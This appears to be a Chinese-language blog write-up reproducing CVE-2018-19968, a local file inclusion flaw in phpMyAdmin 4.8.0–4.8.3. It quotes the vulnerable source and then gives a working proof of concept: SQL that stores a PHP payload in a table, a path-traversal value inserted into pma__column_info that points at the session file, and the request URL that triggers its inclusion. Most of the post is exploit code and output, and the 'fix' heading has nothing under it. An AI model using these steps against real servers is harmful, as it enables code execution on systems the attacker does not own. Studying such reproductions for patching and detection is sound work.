不知不觉就咸鱼了一周(发出了断九幺的声音),复现了下CVE-2018-19968,顺便分析下源码
介绍
影响4.8.0~4.8.3版本
读取本地文件
需要登陆 适用于可以登陆PHPMyAdmin,但是无法限制了写入文件的情况
详情 漏洞产生于tbl_replace.php中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 $mime_map = Transformations::getMIME($GLOBALS['db' ], $GLOBALS['table' ]); if ($mime_map === false ) { $mime_map = array (); } $query_fields = array (); $insert_errors = array (); $row_skipped = false ; $unsaved_values = array (); [...] if (!empty ($mime_map[$column_name]) && !empty ($mime_map[$column_name]['input_transformation' ]) ) { $filename = 'libraries/classes/Plugins/Transformations/' . $mime_map[$column_name]['input_transformation' ]; if (is_file($filename)) { include_once $filename; $classname = Transformations::getClassName($filename); $transformation_plugin = new $classname(); $transformation_options = Transformations::getOptions( $mime_map[$column_name]['input_transformation_options' ] ); $current_value = $transformation_plugin->applyTransformation( $current_value, $transformation_options ); if (method_exists($transformation_plugin, 'isSuccess' ) && !$transformation_plugin->isSuccess() ) { $insert_fail = true ; $row_skipped = true ; $insert_errors[] = sprintf( __('Row: %1$s, Column: %2$s, Error: %3$s' ), $rownumber, $column_name, $transformation_plugin->getError() ); } } }
注意其中的include_once $filename;
而$filename = 'libraries/classes/Plugins/Transformations/'. $mime_map[$column_name]['input_transformation'];
mime_map[$column_name][‘input_transformation’]; 又来自于$mime_map = Transformations::getMIME($GLOBALS['db'], $GLOBALS['table']);
getMIME则是libraries/classes/Transformations.php
的一个方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 public static function getMIME ($db, $table, $strict = false, $fullName = false) { $relation = new Relation(); $cfgRelation = $relation->getRelationsParam(); if (! $cfgRelation['mimework' ]) { return false ; } $com_qry = '' ; if ($fullName) { $com_qry .= "SELECT CONCAT(" . "`db_name`, '.', `table_name`, '.', `column_name`" . ") AS column_name, " ; } else { $com_qry = "SELECT `column_name`, " ; } $com_qry .= '`mimetype`, `transformation`, `transformation_options`, `input_transformation`, `input_transformation_options` FROM ' . Util::backquote($cfgRelation['db' ]) . '.' . Util::backquote($cfgRelation['column_info' ]) . ' WHERE `db_name` = \'' . $GLOBALS['dbi' ]->escapeString($db) . '\' AND `table_name` = \'' . $GLOBALS['dbi' ]->escapeString($table) . '\' AND ( `mimetype` != \'\'' . (!$strict ? ' OR `transformation` != \'\' OR `transformation_options` != \'\' OR `input_transformation` != \'\' OR `input_transformation_options` != \'\'' : '' ) . ')' ; $result = $GLOBALS['dbi' ]->fetchResult( $com_qry, 'column_name' , null , DatabaseInterface::CONNECT_CONTROL ); foreach ($result as $column => $values) { $delimiter_space = '- ' ; $delimiter = "_" ; $values['mimetype' ] = self ::fixupMIME($values['mimetype' ]); $dir = explode('/' , $values['transformation' ]); $subdir = '' ; if (count($dir) === 2 ) { $subdir = ucfirst($dir[0 ]) . '/' ; $values['transformation' ] = $dir[1 ]; } $values['transformation' ] = self ::fixupMIME($values['transformation' ]); $values['transformation' ] = $subdir . $values['transformation' ]; $result[$column] = $values; } return $result; }
从$values['transformation'] = $subdir . $values['transformation'];
知道mime_map[$column_name]['input_transformation']= $subdir . $values['transformation']
而$value则是来自于$result$result = $GLOBALS['dbi']->fetchResult($com_qry, 'column_name', null, DatabaseInterface::CONNECT_CONTROL);
执行的sql语句是
1 SELECT `column_name` , `mimetype` , `transformation` , `transformation_options` , `input_transformation` , `input_transformation_options` FROM `db_name` .`pma__column_info` WHERE `db_name` = 'db_name' AND `table_name` = 'table_name' AND ( `mimetype` != '' OR `transformation` != '' OR `transformation_options` != '' OR `input_transformation` != '' OR `input_transformation_options` != '' )
创建一个表
1 2 3 CREATE DATABASE foo;CREATE TABLE foo.bar ( baz VARCHAR (100 ) PRIMARY KEY );INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>' ;
向pma__column_info中插入数据
1 2 INSERT INTO pma__column_info SELECT '1' , 'foo' , 'bar' , 'baz' , 'plop' ,'plop' , 'plop' , 'plop' ,'../../../../../../../../test' ,'plop' ;
查询结果
1 2 3 4 5 6 7 mysql> SELECT `column_name`, `mimetype`, `transformation`, `transformation_options`, `input_transformation`, `input_transformation_options` FROM `foo`.`pma__column_info` WHERE `db_name` = 'foo' AND `table_name` = 'bar' AND ( `mimetype` != '' OR `transformation` != '' OR `transformation_options` != '' OR `input_transformation` != '' OR `input_transformation_options` != '' ); +-------------+----------+----------------+------------------------+--------------------------------------+------------------------------+ | column_name | mimetype | transformation | transformation_options | input_transformation | input_transformation_options | +-------------+----------+----------------+------------------------+--------------------------------------+------------------------------+ | baz | plop | plop | plop | ../../../../../../../../test | plop | +-------------+----------+----------------+------------------------+--------------------------------------+------------------------------+ 1 row in set (0.00 sec)
这样filename就是libraries/classes/Plugins/Transformations/../../../../../../../../test
如果test文件存在就会被包含
复现 创建一个表
1 2 3 CREATE DATABASE foo;CREATE TABLE foo.bar ( baz VARCHAR (100 ) PRIMARY KEY );INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>' ;
指定文件为session文件
1 2 INSERT INTO pma__column_infoSELECT '1' , 'foo' , 'bar' , 'baz' , 'plop' ,'plop' , 'plop' , 'plop' ,'../../../../../../../../tmp/sess_***' ,'plop' ;
其中***
为Cookie中PhPmyadmin的值 之后访问http://localhost/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1
即可看到phpinfo
修复